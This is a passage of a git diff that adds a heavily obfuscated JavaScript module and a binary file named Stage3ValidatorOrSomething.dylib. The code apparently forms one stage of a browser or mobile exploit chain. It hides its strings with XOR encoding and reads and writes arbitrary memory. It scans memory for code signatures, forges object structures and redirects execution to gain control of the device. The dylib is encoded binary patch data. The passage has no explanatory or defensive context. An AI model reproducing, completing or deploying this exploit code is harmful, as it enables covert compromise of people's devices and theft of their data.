16, 21, 65, 20, 68, 70, 20, 71, 21, 72, 20, 18, 72, 66, 64, 67, 65, 18, 65, 23, 68, 67, 69, 70].map(x => {return String.fromCharCode(x ^ 113);}).join(""))),P=globalThis.obChTK.hPL3On(([92, 89, 91, 91, 84, 14, 12, 94, 15, 92, 88, 92, 84, 15, 12, 95, 12, 85, 11, 89, 93, 15, 8, 95, 85, 90, 11, 91, 89, 91, 9, 89, 9, 90, 88, 84, 94, 8, 15, 93].map(x => {return String.fromCharCode(x ^ 109);}).join("")));class it{constructor(){this.tc=null,this.ic=null,this.cc=!1}da(c,o){return new x.Vt(0,0)}er(c,o){return new x.Vt(0,0)}wa(c,o){return new x.Vt(0,0)}ha(c,o){return new x.Vt(0,0)}}r.sc=it;class ct{constructor(c){this.lc=c}oc(c){let o=0;const i=[];for(let t=0;t>>0==(863593306 ^ 662266714)?i.push(-(2016949611 ^ 2084058475)):i.push(-1)}return{ac:o,mask:i}}hc(c){const o=this.lc.Jh(c),i=new Set([(4294967296 + (1951289186 ^ -1569634435)),(4294967296 + (1683649092 ^ -1301972357)),(4294967296 + (1131951446 ^ -1790493431)),(4294967296 + (895831092 ^ -480623541)),(4294967296 + (1917215054 ^ -1535546927)),(4294967296 + (1666140978 ^ -1250933875)),(4294967296 + (1700417619 ^ -1285203828)),(4294967296 + (762729803 ^ -79077964))]),t=[];o.qh(([6, 6, 13, 28, 1, 13].map(x => {return String.fromCharCode(x ^ 89);}).join("")),((c,o)=>{i.has(o)&&t.push([c,o])})),t.length}dc(c,o,i){const t=this.lc.Jh(c),{ac:a,mask:l}=this.oc(o);let b=null,I=null,s=null;if(!0===i?(t.$h(([47, 47, 36, 53, 40, 36].map(x => {return String.fromCharCode(x ^ 112);}).join("")),!0===globalThis.obChTK.hPL3On(([127, 122, 120, 120, 119, 45, 47, 125, 44, 127, 123, 127, 119, 44, 47, 124, 47, 118, 40, 122, 126, 44, 43, 124, 118, 121, 40, 120, 122, 120, 42, 122, 42, 121, 123, 119, 125, 43, 44, 126].map(x => {return String.fromCharCode(x ^ 78);}).join(""))).zn.Nn.PgkJIA?([12, 12, 18, 6, 7, 27, 12, 16, 28, 29, 0, 7].map(x => {return String.fromCharCode(x ^ 83);}).join("")):([110, 110, 117, 112, 101, 112, 110, 114, 126, 127, 98, 101].map(x => {return String.fromCharCode(x ^ 49);}).join("")),((c,i)=>{let t=c;for(let c=0;c>>0==(1466381158 ^ 1130836838)?i<<6>>4:4}return b=i,!0})),b&&(I=b.Dt().yt(),s=b)):(t.qh(([114, 114, 121, 104, 117, 121].map(x => {return String.fromCharCode(x ^ 45);}).join("")),((c,i)=>{let t=!0;for(let i=0;i {return String.fromCharCode(x ^ 84);}).join(""))).zn.Nn.KrBQWx;i++){const I=c+4*i,s=P.zn.Xn.br(I);if((4294967296 + (1867789176 ^ -1190445945))===s||(4294967296 + (1296253527 ^ -1692647017))===s){l=!0;break}if(((4294967296 + (1464688462 ^ -1471324338))&s)>>>0==(1764912242 ^ 2100456562)){if(t){l=!0;break}}else if(((4294967296 + (1937274723 ^ -327649437))&s)>>>0==(4294967296 + (1248289098 ^ -630759094))){const c=(s<<8>>13<<2|s>>29&3)<<12;b[31&s]=I-I%(1346530659 ^ 1346534755)+c}else if(((4294967296 + (1882207818 ^ -1880082870))&s)>>>0==(4294967296 + (1316251250 ^ -1221302670))){const c=s>>5&31,o=s>>10&(1481665138 ^ 1481663885);b[c]&&a.push(b[c]+8*o)}else if(o&&((4294967296 + (1114664778 ^ -1116704950))&s)>>>0==(4294967296 + (1264994409 ^ -630830999))){const c=s>>5&31,o=s>>10&(1732666417 ^ 1732668366);b[c]&&(a.push(b[c]+o),b[c]=0)}}if(!l)throw new Error("");if(i>-1&&a.length!==i)throw new Error("");return a}Kc(c,o,i,t){const a=this.lc.Jh(c),{ac:l,mask:b}=this.oc(o);let I=null,s=null,d=null;if(!0===i?(a.$h(([42, 42, 33, 48, 45, 33].map(x => {return String.fromCharCode(x ^ 117);}).join("")),t,((c,i)=>{let t=c;for(let c=0;c>>0==(1937076037 ^ 1735749445)?i<<6>>4:4}return I=i,!0})),I&&(s=I.Dt().yt(),d=I)):(a.qh(([58, 58, 49, 32, 61, 49].map(x => {return String.fromCharCode(x ^ 101);}).join("")),((c,i)=>{let t=!0;for(let i=0;i {return String.fromCharCode(x ^ 104);}).join("")));class oc extends it{da(c,o){return this.Ka(this.La,c,o)}er(c,o){return this.Ka(this.Xa,c,o)}wa(c,o){return this.Ka(this.Ma,c,o)}ha(c,o){return this.Ka(this.Ga,c,o)}Mc(){const c=this.Tc,o=P.zn.Xn.Mr(c);if(o%(1415867769 ^ 1415871865)!=0)throw new Error("");const i=x.Vt.ut(o).Ut();return c[0]=(4294967296 + (860187459 ^ -844590708)),c[1]=(1279543862 ^ 1296321082),c[2]=2,c[4]=3,c[5]=(1815630694 ^ 1815630454),c[8]=25,c[9]=(1752258916 ^ 1752259068),c[10]=(845958507 ^ 2000163380),c[11]=(1128954229 ^ 1128934701),c[24]=1,c[34]=i.it,c[35]=i.et,c[36]=(4294967296 + (1886217061 ^ -1886231707)),c[37]=(1836603752 ^ 1836603671),c[42]=(4294967296 + (1129403204 ^ -1018079420)),c[46]=25,c[47]=72,c[48]=(1749308019 ^ 554175788),c[49]=(1667912035 ^ 657398317),c[50]=(1832286059 ^ 1832264482),c[52]=(1836742189 ^ 1836742429),c[56]=(1196577112 ^ 1196576872),c[64]=(4294967296 + (2052473931 ^ -95009687)),c[65]=48,c[74]=(1951217965 ^ 1951217693),c[75]=(1735419466 ^ 1735421514),c[76]=(1934906224 ^ 302731888),c[77]=(1396000339 ^ 1396064339),c}constructor(){super(),this.cc=!0;let c=64,o=16;!0===globalThis.obChTK.hPL3On(([64, 69, 71, 71, 72, 18, 16, 66, 19, 64, 68, 64, 72, 19, 16, 67, 16, 73, 23, 69, 65, 19, 20, 67, 73, 70, 23, 71, 69, 71, 21, 69, 21, 70, 68, 72, 66, 20, 19, 65].map(x => {return String.fromCharCode(x ^ 113);}).join(""))).zn.Nn.QwxZcT&&(c+=4,o-=4);let i=(758410840 ^ 758411176);!0===globalThis.obChTK.hPL3On(([5, 0, 2, 2, 13, 87, 85, 7, 86, 5, 1, 5, 13, 86, 85, 6, 85, 12, 82, 0, 4, 86, 81, 6, 12, 3, 82, 2, 0, 2, 80, 0, 80, 3, 1, 13, 7, 81, 86, 4].map(x => {return String.fromCharCode(x ^ 52);}).join(""))).zn.Nn.QwxZcT&&(i=(1448498021 ^ 1448497197));let t=72,a=76;!0===globalThis.obChTK.hPL3On(([64, 69, 71, 71, 72, 18, 16, 66, 19, 64, 68, 64, 72, 19, 16, 67, 16, 73, 23, 69, 65, 19, 20, 67, 73, 70, 23, 71, 69, 71, 21, 69, 21, 70, 68, 72, 66, 20, 19, 65].map(x => {return String.fromCharCode(x ^ 113);}).join(""))).zn.Nn.QwxZcT&&(t=80,a=84),this.Tc=new Uint32Array((1983076185 ^ 1983010649)),x.D(this.Tc),this.lc=P.cr().Sh(),this.Pc=new ct(this.lc);const l=this.lc.Jh(([27, 30, 21, 19, 14, 27, 19, 89, 19, 14, 27, 30, 21].map(x => {return String.fromCharCode(x ^ 119);}).join(""))),b=this.lc.Jh(([34, 39, 44, 29, 55, 61, 58, 43, 35, 96, 12, 96, 42, 55, 34, 39, 44].map(x => {return String.fromCharCode(x ^ 78);}).join(""))),I=this.lc.Jh(([35, 38, 45, 55, 34, 35, 125, 97, 125, 97, 43, 54, 35, 38, 45].map(x => {return String.fromCharCode(x ^ 79);}).join(""))),s=P.zn.Xn,d=I.fh(([25, 12, 13, 50, 32, 57, 83, 38, 4, 21, 49, 20, 3, 13, 8, 2, 40, 5].map(x => {return String.fromCharCode(x ^ 97);}).join("")));if((4294967296 + (1266314547 ^ -1711641293))!==s.br(d)||(4294967296 + (1831884087 ^ -1150331145))!==s.br(d+4))throw new Error("");let y;y=I.Ah(([47, 47, 49, 37, 36, 56].map(x => {return String.fromCharCode(x ^ 112);}).join("")),d);const r=l.fh(([43, 35, 60, 54, 34].map(x => {return String.fromCharCode(x ^ 79);}).join(""))),g=b.Ah(globalThis.obChTK.hPL3On(([87, 82, 80, 80, 95, 5, 7, 85, 4, 87, 83, 87, 95, 4, 7, 84, 7, 94, 0, 82, 86, 4, 3, 84, 94, 81, 0, 80, 82, 80, 2, 82, 2, 81, 83, 95, 85, 3, 4, 86].map(x => {return String.fromCharCode(x ^ 102);}).join(""))).zn.Nn.PgkJIA?([45, 45, 51, 39, 38, 58, 45, 49, 61, 60, 33, 38].map(x => {return String.fromCharCode(x ^ 114);}).join("")):([22, 22, 13, 8, 29, 8, 22, 10, 6, 7, 26, 29].map(x => {return String.fromCharCode(x ^ 73);}).join("")),r),C=[],e=function(c){C.push(c)};this.Da=C;e({x:null});const u={};e(u);const n=function(c){const o=new Uint8Array(c),i=s.Mr(o);return u[i]=o,i};let h=null;try{h=this.Pc.mc([([26, 102, 76, 70, 65, 80, 88, 26, 121, 92, 87, 71, 84, 71, 76, 26, 115, 71, 84, 88, 80, 66, 90, 71, 94, 70, 26, 118, 90, 71, 80, 114, 71, 84, 69, 93, 92, 86, 70, 27, 83, 71, 84, 88, 80, 66, 90, 71, 94, 26, 118, 90, 71, 80, 114, 71, 84, 69, 93, 92, 86, 70].map(x => {return String.fromCharCode(x ^ 53);}).join("")),([127, 3, 41, 35, 36, 53, 61, 127, 28, 57, 50, 34, 49, 34, 41, 127, 22, 34, 49, 61, 53, 39, 63, 34, 59, 35, 127, 19, 63, 34, 53, 23, 34, 49, 32, 56, 57, 51, 35, 126, 54, 34, 49, 61, 53, 39, 63, 34, 59, 127, 6, 53, 34, 35, 57, 63, 62, 35, 127, 17, 127, 19, 63, 34, 53, 23, 34, 49, 32, 56, 57, 51, 35].map(x => {return String.fromCharCode(x ^ 80);}).join(""))],[(4294967296 + (1349742969 ^ -93162855)),(1131181668 ^ 1418953055),(4294967296 + (1332367462 ^ -76918650)),(4294967296 + (1869702263 ^ -1775143819)),(4294967296 + (1432702275 ^ -513454623)),(4294967296 + (1129724227 ^ -1172947637)),(4294967296 + (1198747970 ^ -1103926973)),(4294967296 + (1448694580 ^ -61779756)),(4294967296 + (860762961 ^ -447661298))],([107, 107, 117, 97, 96, 124, 107, 119, 123, 122, 103, 96].map(x => {return String.fromCharCode(x ^ 52);}).join("")))}catch(c){h=this.Pc.mc([([76, 48, 26, 16, 23, 6, 14, 76, 47, 10, 1, 17, 2, 17, 26, 76, 37, 17, 2, 14, 6, 20, 12, 17, 8, 16, 76, 32, 12, 17, 6, 36, 17, 2, 19, 11, 10, 0, 16, 77, 5, 17, 2, 14, 6, 20, 12, 17, 8, 76, 32, 12, 17, 6, 36, 17, 2, 19, 11, 10, 0, 16].map(x => {return String.fromCharCode(x ^ 99);}).join("")),([103, 27, 49, 59, 60, 45, 37, 103, 4, 33, 42, 58, 41, 58, 49, 103, 14, 58, 41, 37, 45, 63, 39, 58, 35, 59, 103, 11, 39, 58, 45, 15, 58, 41, 56, 32, 33, 43, 59, 102, 46, 58, 41, 37, 45, 63, 39, 58, 35, 103, 30, 45, 58, 59, 33, 39, 38, 59, 103, 9, 103, 11, 39, 58, 45, 15, 58, 41, 56, 32, 33, 43, 59].map(x => {return String.fromCharCode(x ^ 72);}).join(""))],[(4294967296 + (1597263939 ^ -348893054)),(4294967296 + (1683645282 ^ -1659210944)),(4294967296 + (2003326570 ^ -1016572184)),(4294967296 + (1396003187 ^ -1435151021)),(4294967296 + (1450404696 ^ -1355582599)),(4294967296 + (929527155 ^ -512197332))],([51, 51, 45, 57, 56, 36, 51, 47, 35, 34, 63, 56].map(x => {return String.fromCharCode(x ^ 108);}).join("")))}let K=null;try{K=this.Pc.mc([([76, 48, 26, 16, 23, 6, 14, 76, 47, 10, 1, 17, 2, 17, 26, 76, 37, 17, 2, 14, 6, 20, 12, 17, 8, 16, 76, 32, 12, 17, 6, 36, 17, 2, 19, 11, 10, 0, 16, 77, 5, 17, 2, 14, 6, 20, 12, 17, 8, 76, 32, 12, 17, 6, 36, 17, 2, 19, 11, 10, 0, 16].map(x => {return String.fromCharCode(x ^ 99);}).join("")),([75, 55, 29, 23, 16, 1, 9, 75, 40, 13, 6, 22, 5, 22, 29, 75, 34, 22, 5, 9, 1, 19, 11, 22, 15, 23, 75, 39, 11, 22, 1, 35, 22, 5, 20, 12, 13, 7, 23, 74, 2, 22, 5, 9, 1, 19, 11, 22, 15, 75, 50, 1, 22, 23, 13, 11, 10, 23, 75, 37, 75, 39, 11, 22, 1, 35, 22, 5, 20, 12, 13, 7, 23].map(x => {return String.fromCharCode(x ^ 100);}).join(""))],[(4294967296 + (892486707 ^ -864919501)),(1951217731 ^ 1672637645),(4294967296 + (1902064986 ^ -983616070)),(4294967296 + (1999853377 ^ -1905041598)),(4294967296 + (1902993224 ^ -982687765)),(4294967296 + (1649954642 ^ -1692906662)),(4294967296 + (1970222434 ^ -1943065248)),(4294967296 + (1500802861 ^ -209949491)),(4294967296 + (1196188529 ^ -1856804082))],([44, 44, 50, 38, 39, 59, 44, 48, 60, 61, 32, 39].map(x => {return String.fromCharCode(x ^ 115);}).join("")))}catch(c){K=this.Pc.mc([([95, 35, 9, 3, 4, 21, 29, 95, 60, 25, 18, 2, 17, 2, 9, 95, 54, 2, 17, 29, 21, 7, 31, 2, 27, 3, 95, 51, 31, 2, 21, 55, 2, 17, 0, 24, 25, 19, 3, 94, 22, 2, 17, 29, 21, 7, 31, 2, 27, 95, 51, 31, 2, 21, 55, 2, 17, 0, 24, 25, 19, 3].map(x => {return String.fromCharCode(x ^ 112);}).join("")),([64, 60, 22, 28, 27, 10, 2, 64, 35, 6, 13, 29, 14, 29, 22, 64, 41, 29, 14, 2, 10, 24, 0, 29, 4, 28, 64, 44, 0, 29, 10, 40, 29, 14, 31, 7, 6, 12, 28, 65, 9, 29, 14, 2, 10, 24, 0, 29, 4, 64, 57, 10, 29, 28, 6, 0, 1, 28, 64, 46, 64, 44, 0, 29, 10, 40, 29, 14, 31, 7, 6, 12, 28].map(x => {return String.fromCharCode(x ^ 111);}).join(""))],[(4294967296 + (1999981932 ^ -1904907932)),(4294967296 + (1817863234 ^ -665164662)),(4294967296 + (963917106 ^ -1070318543)),(4294967296 + (1098152289 ^ -176915998)),(4294967296 + (1484026932 ^ -1590398668)),(4294967296 + (1816881203 ^ -1794412239)),(4294967296 + (1766870138 ^ -1085324283))],([105, 105, 119, 99, 98, 126, 105, 117, 121, 120, 101, 98].map(x => {return String.fromCharCode(x ^ 54);}).join("")))}const m=this.Pc.mc([([92, 32, 10, 0, 7, 22, 30, 92, 63, 26, 17, 1, 18, 1, 10, 92, 35, 1, 26, 5, 18, 7, 22, 53, 1, 18, 30, 22, 4, 28, 1, 24, 0, 92, 33, 54, 32, 10, 29, 16, 93, 21, 1, 18, 30, 22, 4, 28, 1, 24, 92, 33, 54, 32, 10, 29, 16].map(x => {return String.fromCharCode(x ^ 115);}).join("")),([72, 52, 30, 20, 19, 2, 10, 72, 43, 14, 5, 21, 6, 21, 30, 72, 55, 21, 14, 17, 6, 19, 2, 33, 21, 6, 10, 2, 16, 8, 21, 12, 20, 72, 53, 34, 52, 30, 9, 4, 73, 1, 21, 6, 10, 2, 16, 8, 21, 12, 72, 49, 2, 21, 20, 14, 8, 9, 20, 72, 38, 72, 53, 34, 52, 30, 9, 4].map(x => {return String.fromCharCode(x ^ 103);}).join(""))],[(4294967296 + (1514827319 ^ -1891021496)),(4294967296 + (1902336346 ^ -656599378)),(4294967296 + (1464347991 ^ -28748118)),(4294967296 + (2052207431 ^ -346918726)),(4294967296 + (1903445837 ^ -613137218)),(4294967296 + (2053523268 ^ -899479732)),(4294967296 + (1867666740 ^ -1776828356)),(4294967296 + (1380142160 ^ -129871952)),(4294967296 + (1750231929 ^ -1100127642)),(4294967296 + (1362441567 ^ -80398677)),(4294967296 + (1698125129 ^ -801679927)),(4294967296 + (1819965559 ^ -595642241)),(4294967296 + (2050572661 ^ -2088969091)),(4294967296 + (1833465425 ^ -1149796530)),(4294967296 + (1917477170 ^ -1958057146)),(4294967296 + (1181837625 ^ -282062140)),(4294967296 + (1466722098 ^ -5363514)),(4294967296 + (1783983190 ^ -1140169815))],([105, 105, 119, 99, 98, 126].map(x => {return String.fromCharCode(x ^ 54);}).join(""))),L=m.gc[0],p=m.gc[1],X=this.Pc.mc([([91, 39, 13, 7, 0, 17, 25, 91, 56, 29, 22, 6, 21, 6, 13, 91, 50, 6, 21, 25, 17, 3, 27, 6, 31, 7, 91, 61, 59, 63, 29, 0, 90, 18, 6, 21, 25, 17, 3, 27, 6, 31, 91, 34, 17, 6, 7, 29, 27, 26, 7, 91, 53, 91, 61, 59, 63, 29, 0].map(x => {return String.fromCharCode(x ^ 116);}).join(""))],[(4294967296 + (963863671 ^ -1875809153)),(4294967296 + (1297053773 ^ -1274060724)),(4294967296 + (2019117641 ^ -766424663)),(4294967296 + (1918462306 ^ -1538891459))],([50, 50, 44, 56, 57, 37, 50, 46, 34, 35, 62, 57].map(x => {return String.fromCharCode(x ^ 109);}).join(""))),T=this.Pc.mc([([108, 54, 48, 49, 108, 47, 42, 33, 108, 47, 42, 33, 42, 32, 54, 32, 44, 49, 38, 109, 2, 109, 39, 58, 47, 42, 33].map(x => {return String.fromCharCode(x ^ 67);}).join(""))],[(4294967296 + (1601790285 ^ -1506186898)),(4294967296 + (1432447600 ^ -1407096240)),(1414755940 ^ 114521701),(1684893258 ^ 921530792),(4294967296 + (1179482709 ^ -1873645014))],([37, 37, 59, 47, 46, 50, 37, 57, 53, 52, 41, 46].map(x => {return String.fromCharCode(x ^ 122);}).join("")));let M=null;if(P.cr().qh(([15, 15, 17, 5, 4, 24, 15, 19, 31, 30, 3, 4].map(x => {return String.fromCharCode(x ^ 80);}).join("")),((c,o)=>{if(32===o){const o=c-(1969706307 ^ 1969706423);if(o%8!=0||s.br(o+4)>=(1146703735 ^ 1146703863)||s.br(o+12)>=(1869183589 ^ 1869183717))return!1;const i=s.nr(o),t=s.nr(o+8);return 0!==i&&0!==t&&(([53, 23, 26, 26, 20, 23, 21, 29, 57, 20, 28, 19, 21, 2].map(x => {return String.fromCharCode(x ^ 118);}).join(""))===s.Er(i)&&(M=o,!0))}return!1})),null===M)throw new Error("");const G=function(c){let o;if(o=c._h(([114, 114, 105, 108, 121, 108, 114, 105, 100, 127, 121, 116].map(x => {return String.fromCharCode(x ^ 45);}).join("")),([105, 105, 82, 79, 90, 82, 2].map(x => {return String.fromCharCode(x ^ 54);}).join(""))),null===o)throw new Error("");return P.zn.Xn.nr(o.qe)}(l),k=function(c){const o=P.zn.Xn.Dr(c),i=P.zn.Xn.Dr(o);let t=i-i%(1783000182 ^ 1783004278);for(;(4294967296 + (1179862133 ^ -1195458886))!==P.zn.Xn.br(t);)t-=(930176823 ^ 930172727);return cc.Xo(x.Vt.ut(t))}(G),D=function(c){let o=null;if(c.ar().qh(([51, 51, 56, 41, 52, 56].map(x => {return String.fromCharCode(x ^ 108);}).join("")),((c,i)=>(4294967296 + (1097486424 ^ -1683271336))===i&&(4294967296 + (1967599691 ^ -1558695029))===s.br(c+4)&&(o=c,!0))),null===o)throw new Error("");return o}(k),w=D+8;if((4294967296 + (1199206217 ^ -1648662967))!==s.br(w)||(4294967296 + (1496869498 ^ -1889048134))!==s.br(w+4))throw new Error("");const Z=D+16;if((4294967296 + (812934962 ^ -357211598))!==s.br(Z)||(4294967296 + (1852730675 ^ -1204719885))!==s.br(Z+4))throw new Error("");const S=D+24;if((4294967296 + (1348958007 ^ -1968801225))!==s.br(S)||(4294967296 + (1651781976 ^ -1272237416))!==s.br(S+4))throw new Error("");this.Za=null,!0===globalThis.obChTK.hPL3On(([2, 7, 5, 5, 10, 80, 82, 0, 81, 2, 6, 2, 10, 81, 82, 1, 82, 11, 85, 7, 3, 81, 86, 1, 11, 4, 85, 5, 7, 5, 87, 7, 87, 4, 6, 10, 0, 86, 81, 3].map(x => {return String.fromCharCode(x ^ 51);}).join(""))).zn.Nn.Lg4V8D&&(this.Za=P.cr().fh(([43, 19, 47, 35, 34, 42, 37, 43].map(x => {return String.fromCharCode(x ^ 76);}).join(""))));const A={Na:0,Fr:1,Lr:2,Rr:3,qr:4,za:5,Ha:6,Qa:7,Va:8,Wa:9},N={Ra:0},z=s.tr(A),f=(c=>{if(!0===globalThis.obChTK.hPL3On(([126, 123, 121, 121, 118, 44, 46, 124, 45, 126, 122, 126, 118, 45, 46, 125, 46, 119, 41, 123, 127, 45, 42, 125, 119, 120, 41, 121, 123, 121, 43, 123, 43, 120, 122, 118, 124, 42, 45, 127].map(x => {return String.fromCharCode(x ^ 79);}).join(""))).zn.Nn.QwxZcT){const o=BigInt(s.br(c))&BigInt((4294967296 + (1131641441 ^ -1131641441)));return x.K(o*BigInt(16))}if(!0===globalThis.obChTK.hPL3On(([84, 81, 83, 83, 92, 6, 4, 86, 7, 84, 80, 84, 92, 7, 4, 87, 4, 93, 3, 81, 85, 7, 0, 87, 93, 82, 3, 83, 81, 83, 1, 81, 1, 82, 80, 92, 86, 0, 7, 85].map(x => {return String.fromCharCode(x ^ 101);}).join(""))).zn.Nn.juV600){if(null===this.Za)throw new Error("");const o=s.br(c)>>5&(1819179637 ^ 1871807882),i=0==(8&c)?s.nr(c-c%(1179927669 ^ 1179911285)+(1815373430 ^ 1815369902)):s.nr(c-16),t=s.nr(i+globalThis.obChTK.hPL3On(([97, 100, 102, 102, 105, 51, 49, 99, 50, 97, 101, 97, 105, 50, 49, 98, 49, 104, 54, 100, 96, 50, 53, 98, 104, 103, 54, 102, 100, 102, 52, 100, 52, 103, 101, 105, 99, 53, 50, 96].map(x => {return String.fromCharCode(x ^ 80);}).join(""))).zn.Nn.MhLcu0);return s.Dr(t+8*o)}if(!0===globalThis.obChTK.hPL3On(([126, 123, 121, 121, 118, 44, 46, 124, 45, 126, 122, 126, 118, 45, 46, 125, 46, 119, 41, 123, 127, 45, 42, 125, 119, 120, 41, 121, 123, 121, 43, 123, 43, 120, 122, 118, 124, 42, 45, 127].map(x => {return String.fromCharCode(x ^ 79);}).join(""))).zn.Nn.ptTH_q){if(null===this.Za)throw new Error("");const o=s.br(c)&globalThis.obChTK.hPL3On(([87, 82, 80, 80, 95, 5, 7, 85, 4, 87, 83, 87, 95, 4, 7, 84, 7, 94, 0, 82, 86, 4, 3, 84, 94, 81, 0, 80, 82, 80, 2, 82, 2, 81, 83, 95, 85, 3, 4, 86].map(x => {return String.fromCharCode(x ^ 102);}).join(""))).zn.Nn.RNiPoX;return P.zn.Xn.nr(this.Za+globalThis.obChTK.hPL3On(([122, 127, 125, 125, 114, 40, 42, 120, 41, 122, 126, 122, 114, 41, 42, 121, 42, 115, 45, 127, 123, 41, 46, 121, 115, 124, 45, 125, 127, 125, 47, 127, 47, 124, 126, 114, 120, 46, 41, 123].map(x => {return String.fromCharCode(x ^ 75);}).join(""))).zn.Nn.kEXt5Z)+o}{const o=s.br(c)>>globalThis.obChTK.hPL3On(([66, 71, 69, 69, 74, 16, 18, 64, 17, 66, 70, 66, 74, 17, 18, 65, 18, 75, 21, 71, 67, 17, 22, 65, 75, 68, 21, 69, 71, 69, 23, 71, 23, 68, 70, 74, 64, 22, 17, 67].map(x => {return String.fromCharCode(x ^ 115);}).join(""))).zn.Nn.rD3mNF&(1698986103 ^ 1706788744),i=0==(8&c)?s.nr(c-c%(1600275529 ^ 1600259145)+(859391814 ^ 859404702)):s.nr(c-16),t=s.nr(i+globalThis.obChTK.hPL3On(([114, 119, 117, 117, 122, 32, 34, 112, 33, 114, 118, 114, 122, 33, 34, 113, 34, 123, 37, 119, 115, 33, 38, 113, 123, 116, 37, 117, 119, 117, 39, 119, 39, 116, 118, 122, 112, 38, 33, 115].map(x => {return String.fromCharCode(x ^ 67);}).join(""))).zn.Nn.MhLcu0);return s.Dr(t+8*o)}})(z),H=n((1215586123 ^ 1215585867));for(let c=24;c<(1146114679 ^ 1146114567);c+=8)s.Jr(H+c,y);s.Jr(H+96,h.yc);const Q=n(24);s.ti(Q+8,H);const V=n(24),W=n(56),R=n(56);s.Jr(R+40,m.yc),s.ti(R+32,V),s.ti(R+48,W);const O=x.Vt.ut(Q),Y=x.Vt.ut(R);!0===globalThis.obChTK.hPL3On(([96, 101, 103, 103, 104, 50, 48, 98, 51, 96, 100, 96, 104, 51, 48, 99, 48, 105, 55, 101, 97, 51, 52, 99, 105, 102, 55, 103, 101, 103, 53, 101, 53, 102, 100, 104, 98, 52, 51, 97].map(x => {return String.fromCharCode(x ^ 81);}).join(""))).zn.Nn.QwxZcT&&(M=x.K(x.O(M)/BigInt(16)));const U=function(i,t,a){s.Jr(W+40,i),s.Jr(W+32,t),s.Jr(W+48,a);const l=s.br(f+o);let b=0;try{s.dr(f+o,1|l),s.Br((()=>{new Function("a","b",([31, 8, 27, 73, 10, 29].map(x => {return String.fromCharCode(x ^ 105)}).join("")) + (b) + ([97, 124, 97, 32, 97, 40, 47, 50, 53, 32, 47, 34, 36, 46, 39, 97, 35, 97, 126, 97].map(x => {return String.fromCharCode(x ^ 65)}).join("")) + (b+1) + ([103, 125, 103, 118, 117, 124, 103, 53, 34, 51, 50, 53, 41, 103, 36, 51].map(x => {return String.fromCharCode(x ^ 71)}).join("")) + (b) + ([87].map(x => {return String.fromCharCode(x ^ 108)}).join("")))(N,A)}),{Ir:f+c,Zt:x.Vt.ut(M)},{Ir:z+16,Zt:O},{Ir:z+32,Zt:X.yc},{Ir:z+8,Zt:Y},{Ir:L,Zt:X.yc},{Ir:p,Zt:y})}finally{s.dr(f+o,l),b+=1}return s.rr(V+16)},E=n(80),J=n(56),v=x.Vt.ut(E);s.ti(E+72,J);const F=function(c,o,i,t){return s.Jr(J+8,o),s.Jr(J+16,c),s.Jr(J+48,t),U(K.yc,v,i)},j=U(g,new x.Vt((4294967296 + (2051826740 ^ -2051826742)),(4294967296 + (808676710 ^ -808676711))),x.Vt.ut(function(c){const o=new Uint8Array(c.length+1);for(let i=0;i {return String.fromCharCode(x ^ 120);}).join(""))))),B=G+i,_=B-B%(2037926227 ^ 2037909843);if(0!==F(j,x.Vt.ut(_),x.Vt.ut((826882385 ^ 826898769)),x.Vt.ut(3)).Pt())throw new Error("");const q=(()=>{const c=this.Mc(),o=P.zn.Xn.Mr(c),l=x.Vt.ut(o),b=new Uint8Array(c.buffer),I=(1281582898 ^ 1281582594),d=(1516195682 ^ 1516195613);c[34]=0,c[35]=0,c[36]=0,c[37]=1;let y=(1852858166 ^ 1852857861);for(let c=0;c<"a".length;c++)b[y++]="a".charCodeAt(c);b[y++]=0,b[y++]=d,b[(2037395567 ^ 2037395904)]=3,b[(2053198385 ^ 2053198721)]=0;const r=n((1902790487 ^ 1902789975));s.dr(r,(1715747169 ^ 355732741)),s.dr(r+8,(1967745111 ^ 1967745623));const C=r+16;s.dr(C,(860832594 ^ 1601911350)),s.ti(C+8,o),s.dr(C+t,I),s.dr(C+a,(1752463958 ^ 1752461910));const e=x.Vt.ut(r),u=x.Vt.ut(o+I+3);let h=x.Vt.ut(2*C);if(!0===globalThis.obChTK.hPL3On(([125, 120, 122, 122, 117, 47, 45, 127, 46, 125, 121, 125, 117, 46, 45, 126, 45, 116, 42, 120, 124, 46, 41, 126, 116, 123, 42, 122, 120, 122, 40, 120, 40, 123, 121, 117, 127, 41, 46, 124].map(x => {return String.fromCharCode(x ^ 76);}).join(""))).zn.Nn.QwxZcT){const c=x.Vt.ut(k.ar().wh);h=x.Vt.ut(C).vt(c)}return function(c){const o=x.Vt.ut(c).sub(l);x.Xt(b,(1383036724 ^ 1383036549),o);let t=null;if(s.Br((()=>{t=U(g,h,u)}),{Ir:G+i,Zt:e}),t.Dt().yt()!==c)throw new Error("");return t}})();this.La=q(D),this.Ga=q(w),this.Xa=q(Z),this.Ma=q(S);const $=n(24);this.tc=U,this.ic=F,this.Ka=function(c,o,i){return s.Jr($+16,c),s.Jr($+0,o),U(T.yc,i,x.Vt.ut($))}}}return r.ga=function(){return new oc},r; \ No newline at end of file diff --git a/other/Stage3ValidatorOrSomething.dylib b/other/Stage3ValidatorOrSomething.dylib new file mode 100644 index 0000000000000000000000000000000000000000..8b8d20be2ab32278d033d4eec7348a5e667016ff GIT binary patch literal 121920 zcmeFa3wTpi);GRSPA^HzrG-MFC`|#iMG=%%C_47E0W1Zfq)|GGlZH0X(0dw`%QyrX zwZNzpQ5bZF0_xjj#9_3IWV}$s8Nthp;HbQFGX)$21qDH9kecte&er}yC)e>MRq1%3d#0VoK{SRA(%Txz$Olb)hqQVw4h7T8&T7#|K)7BRX3qRl8L2$TNPNcE6nv5rF-jBtyFM4uue7GR{sKcH@s)6VV>kjz z^PzU3R0CFPX}!zosGi3&Bk`@~_}=D|45!05y3HM#R;xVUD!Z$^+E!)1h<=tgm6o@2 z1eE5imUAw~x1jm~M|GLiQ9ZXt#@}6@*K&M=I1)-n;^1A$k=1H1x6XCa(0IB#zHK{| z{7fZcl*Tf;?1$Fbc=T41B~Wr)Go2s!CKzSU??pRk-zT8&RGRQ<>K>Zr2KvlA;K=i7?*^wBF3qx6;d zKy;%uuHfN~lChiMjGBUWpr&04>xYEDh1wbtdlEWQI>gAuyTGZx)cg}Xw` z=UH#BblT@)#YT?rfKC|?@r*u{R?`jR3Kz-c9A9art-hWxM&b)_d||p#T8$4#BJeq? zU3O=+tx`sR(fCeqd`c-}k?C-LIJR2LY%W_kb@6<|?Ze}vbj0{BGzLU`%}20Wr%jnY zb<)Hs%4%RtQs{Q#DqcMzO{Gc=rMx#HBf=mAC10traLi4}VQd&&^FbTnpz(2H4 